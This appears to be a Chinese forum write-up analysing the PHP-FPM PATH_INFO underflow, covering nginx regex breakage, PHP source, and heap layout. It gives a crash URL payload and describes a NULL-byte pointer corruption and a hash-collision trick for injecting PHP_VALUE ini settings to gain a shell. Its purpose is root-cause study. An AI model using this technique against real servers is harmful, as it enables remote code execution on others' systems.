之前我对nginx完全一片空白,这个地方我想了很久,fastcgi_split_path_info这个关键字字面意思就是用来分割PATH_INFO的,后面这个正则第一个子匹配给$fastcgi_script_name,第二个子匹配给 $fastcgi_path_info,这里用个换行符这条正则就gg了,nginx里面的.可以用来匹配除换行符以外的字符。有意思是这个正则gg以后,全部的URI都给了$fastcgi_script_name.所以这里的PATH_INFO是个空值。

下面涉及到了php内核问题,没什么好办法,只能调。用作者给的crash_url,我这里并不能crash-.+。

1
http://127.0.0.1:8080/helloworld.php/%0aAAAAAAAAAAAAAAAAAAAAAAAAAAAA?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
按照上面的nginx的规则这里的PATH_INFO是个空值。而SCRIPT_NAME"$document_root/helloworld.php/\nAAAAAAAAAAAAAAAAAAAAAAAAAAAA",这在你调的时候都能打印出来。定位问题所在的函数init_request_info,注意看下面的代码段:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if (script_path_translated &&
(script_path_translated_len = strlen(script_path_translated)) > 0 &&
(script_path_translated[script_path_translated_len-1] == '/' ||
(real_path = tsrm_realpath(script_path_translated, NULL)) == NULL)
) {
char *pt = estrndup(script_path_translated, script_path_translated_len);
int len = script_path_translated_len;
char *ptr;

if (pt) {
while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) {
*ptr = 0;
if (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) {
int ptlen = strlen(pt);
int slen = len - ptlen;
int pilen = env_path_info ? strlen(env_path_info) : 0;
int tflag = 0;
char *path_info;
if (apache_was_here) {
/* recall that PATH_INFO won't exist */
path_info = script_path_translated + ptlen;
tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
} else {
path_info = env_path_info ? env_path_info + pilen - slen : NULL;
tflag = (orig_path_info != path_info);
}
这段代码注释里面也说了这是用来找请求脚本的真实路径。什么意思呢?
1
SCRIPT_NAME = "$document_root/helloworld.php/\nAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
这里脚本并不是真实路径,需要压缩,一直取最右边的'/'或者'\'来分割字符串,直到找到真实的路径。然后这里有一个操作
1
path_info = env_path_info ? env_path_info + pilen - slen : NULL;
因为有可能出现这种情况/something/random.php/real_path.php/aaaaaaaaaaaa; 这里本意是应该用来真实的PATH_INFO,但是这里出现了问题,直接把env_path_info当做了判断条件,但是php里面存储空值的fastcgi字段,是用的char[1],什么情况才会出现NULL呢?除非fastcgi的请求里面没有这个字段,但只要你有这个字段,尽管是空值,就给你char[1].

所以这里env_path_info不是个NULL的指针。这就出现问题了,后面的正常逻辑应该是env_path_info指向的是个非空的字符串。这里pilen代表PATH_INFO的长度,当然为0,这里相当于你把path_info往后移了slen个字节。关于这一点我放个图就知道了 Screenshot%20from%202019-10-24%2019-38-59|690x330

可以看到path_info会指向REDIRECT_STATUS这个字符串。继续往后看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (tflag) {
if (orig_path_info) {
char old;

FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
old = path_info[0];
path_info[0] = 0;
if (!orig_script_name ||
strcmp(orig_script_name, env_path_info) != 0) {
if (orig_script_name) {
FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
}
SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
} else {
SG(request_info).request_uri = orig_script_name;
}
path_info[0] = old;
这操作太熟悉了path_info[0] = 0;,有点NULL off by one的味道了。这个写一字节null的机会应该怎么用呢?上面的截图,就算在这个REDIRECT_STATUS字符串写NULL似乎没什么用,控制写NULL的偏移是可以来控制,但是当我上面偏移往后看的时候,存储都是fastcgi的字段,怎么写似乎都没什么作用,似乎这个洞用来DOS都没办法做到。

单纯看作者的exp也没什么眉目,但是有一个重要的地方,在运行exp过程中fpm的worker crash过一次。这是我用ASAN检测到的,具体在php编译的时候如何加上ASAN可以按照下面的写

1
CFLAGS="-O0 -g -fsanitize=address -fno-omit-frame-pointer" LIBS='-ldl' ./configure --prefix=/root/php-7.3-fpm --enable-fpm  --enable-debug
千万别加上--disable-all,这会导致后面用session.auto_start检测回显的时候出错。所以标准库改加上的就加上。

这个时候,其实我有点手足无措,但是有一个地方我有注意到,作者的exp中对于从env_path_info往后偏移的slen一直都是没有变的,这个是值是30,相当于写NULL的地方是固定的。

1
2
/helloworld.php/PHP%0Ais_the_shittiest_lang.php?qqqqqqqqqqqqqqqqqqqqqq
-------------------------------
影响slen的是画横线的地方,这个地方从exp可以看到一直是没有改变过的。完全没有思路的我,只能硬着头皮去看crash的点,从ASAN的bt回溯里面定位到下面地方
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
{
char *ret;

if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) {
unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;
fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);

p->pos = p->data;
p->end = p->pos + seg_size;
p->next = h->data;
h->data = p;
}
ret = h->data->pos;
memcpy(ret, str, str_len); //crashed~!!!!!!!!!!!!!!!!!!!!!1
ret[str_len] = 0;
h->data->pos += str_len + 1;
return ret;
}
memcpy地方出现了Segmentfault,ret是个非法地址。ret来自于h->data->pos,这个h->data是个什么结构呢?
1
2
3
4
5
6
struct _fcgi_data_seg {
char *pos;
char *end;
struct _fcgi_data_seg *next;
char data[1];
} *
看起来似乎一个内存块管理结构,而且是pos的第5个字节被写NULL了。这就变得很有趣了,env_path_info往后写30字节,怎么能写到这个结构上。反过来想env_path_info-30就在_fcgi_data_seg结构里面。这地方就需要看这个结构是怎么分配了,继续往前看。

可以看到这个结构位于内存块的起始位置,最大可以分配malloc(sizeof(fcgi_data_seg) - 1 + seg_size);考虑到16对齐,这个size应该是4096+32,可以看到逻辑上内存块是个链式结构,用pos和end分布来记录起始和结束,这个char data[1]就是data段的开始。当这块内存不够的时候,会重新分配。

这一切都变的明朗了,储存fastcgi的参数地方内存是动态分配的。初始时候会分配最大的内存块4128,那么会存在这样一种情况,在分配PATH_INFO的时候,前面初始化的内存块用完了。重新开始分配一块内存,存储fastcgi的参数的是个_fcgi_hash_bucket结构,先存储是PATH_INFO这个字段名,然后存储对应的值。我们可以画一下出现这种情况的内存分布:

1
2
3
4
5
6
7
8
9
10
char *pos  
------------- +8
char *end
------------- +8
char *next
------------- +8
PATH_INFO\x00
------------- +10
\x00 <---- env_path_info
-------------

你可以算一下这种情况下 env_path_info-30,刚好在pos位置的第5个字节上,一般用户态的地址只用了6个字节,第5字节高字节一般都是随机化的字节,写NULL以后,最后肯定非法了。

这个NULL写的地方现在来看就有意义了。我们可以一直通过增加query的长度,来达到这个效果,最后返回404就代表worker crash了。这样我们就可以控制写的位置,下面来讲一讲具体存储fastcgi字段的过程,只有了解这工程以后,我们才知道具体哪里写NULL。

我们直接来看是怎么取值的,首先会根据fastcgi的参数名取一个hash。

1
2
3
4
5
6
#define FCGI_HASH_FUNC(var, var_len) \
(UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
(((unsigned int)var[3]) << 2) + \
(((unsigned int)var[var_len-2]) << 4) + \
(((unsigned int)var[var_len-1]) << 2) + \
var_len)
具体过程如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
{
unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; //这里做的是个映射,映射到0-127
fcgi_hash_bucket *p = h->hash_table[idx]; //取hash_bucket

while (p != NULL) { //这里取值是比较严格的hash_value 和参数名要完全对上。
if (p->hash_value == hash_value &&
p->var_len == var_len &&
memcmp(p->var, var, var_len) == 0) {
*val_len = p->val_len;
return p->val;
}
p = p->next;
}
return NULL;
}

按照上面的思路,如果我们要伪造PHP_VALUE,就得找到和PHP_VALUE hash值和长度相同的fcgi_hash_bucket,相当于要找已经插入到h->hash_table的键值对,mochzz问过我下面字段出现了fastcgi请求,是有什么作用,作用就在这里,可以自己加http_header 直接传不就行了,这样我们就直接插入一个PHP_VALUE位置对应的fcgi_hash_bucket.

1
2
0x559b058ea102:	"HTTP_EBUT"
0x559b058ea10c: "mamku tvoyu"
这个HTTP_EBUT就和PHP_VALUE有相同的hash值和长度。如果不太确定话,可以直接用上面计算hash的方法算一下,所以现在我们需要做就是让我们的PHP_VALUE刚好能覆盖HTTP_EBUT,并且紧随在后面的mamku tvoyu也能被我们构造的ini设置覆盖掉。

具体怎么做呢? 我们NULL off by one,现在不能写在pos的第5字节上了。需要把pos往后移动,最好的情况应该是写第一个字节,把第一个字节置NULL,pos后移。为了能精准的覆盖,这个时候还需要加一个http_header用来作为调节。如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP_D_PISOS8
==============================D
HTTP_EBUT
mamku tvoyu
...
...
... <------- 正常pos的指向。

HTTP_D_PISOS8
==============================D <--------------- 写pos第一个字节以后的指向
HTTP_EBUT
mamku tvoyu
...
...
...
我可以通过调节HTTP_D_PISOS8的长度,让位置的fake PHP_VALUE正好覆盖在HTTP_EBUT上。写个NULL最多往前移0xff个字节,完全可控。这是第二个需要爆破的点。

这也需要调节前面的结构,让PATH_INFO现在需要偏移34而不是30,因为要写pos的第一个字节。这里作者exp里面用的是session.auto_start=1让页面返回Set-Cookie来判断恰好覆盖点,因为每次通过ini设置的语句长度可以不太一样,这个时候在后面填;,第一次在session.auto_start=1;;;;来保证长度足够后面写。因为fpm以worker来调度的,一个worker就是一个进程,进程只要不crash就可以保存之前ini设置。所以这里可以分开来写ini的设置来getshell,这样引用一张mochazz的图,你就可以知道是如何getshell的。

image|405x223

mochazz也问我了一个问题,为什么前面加Q是5个的一加来进行爆破的,这里其实很简单,PATH_INFO\x00,长度为10,加5个Q相当于加了10个Q因为fastcgi里面有两个字段 queryrequest_uri都会包含查询字段。

还有这里fpm不只有一个woker,在后面写ini的时候,你需要一个请求发几次,确保同一个worker都能写上去。这里调试的时候,你可以把fpm只开一个worker,虽然我这里开了3个worker,但我用gdb把其他两个都挂起来了,相当于只有一个worker。

只能说作者幸运值和技术值爆表,想要弄个crash也不太容易啊,我为什么没有碰到过这种好事-.-,如果上述分析有不对地方,师傅们都可以指出来,有疑问的都可以一起来探讨!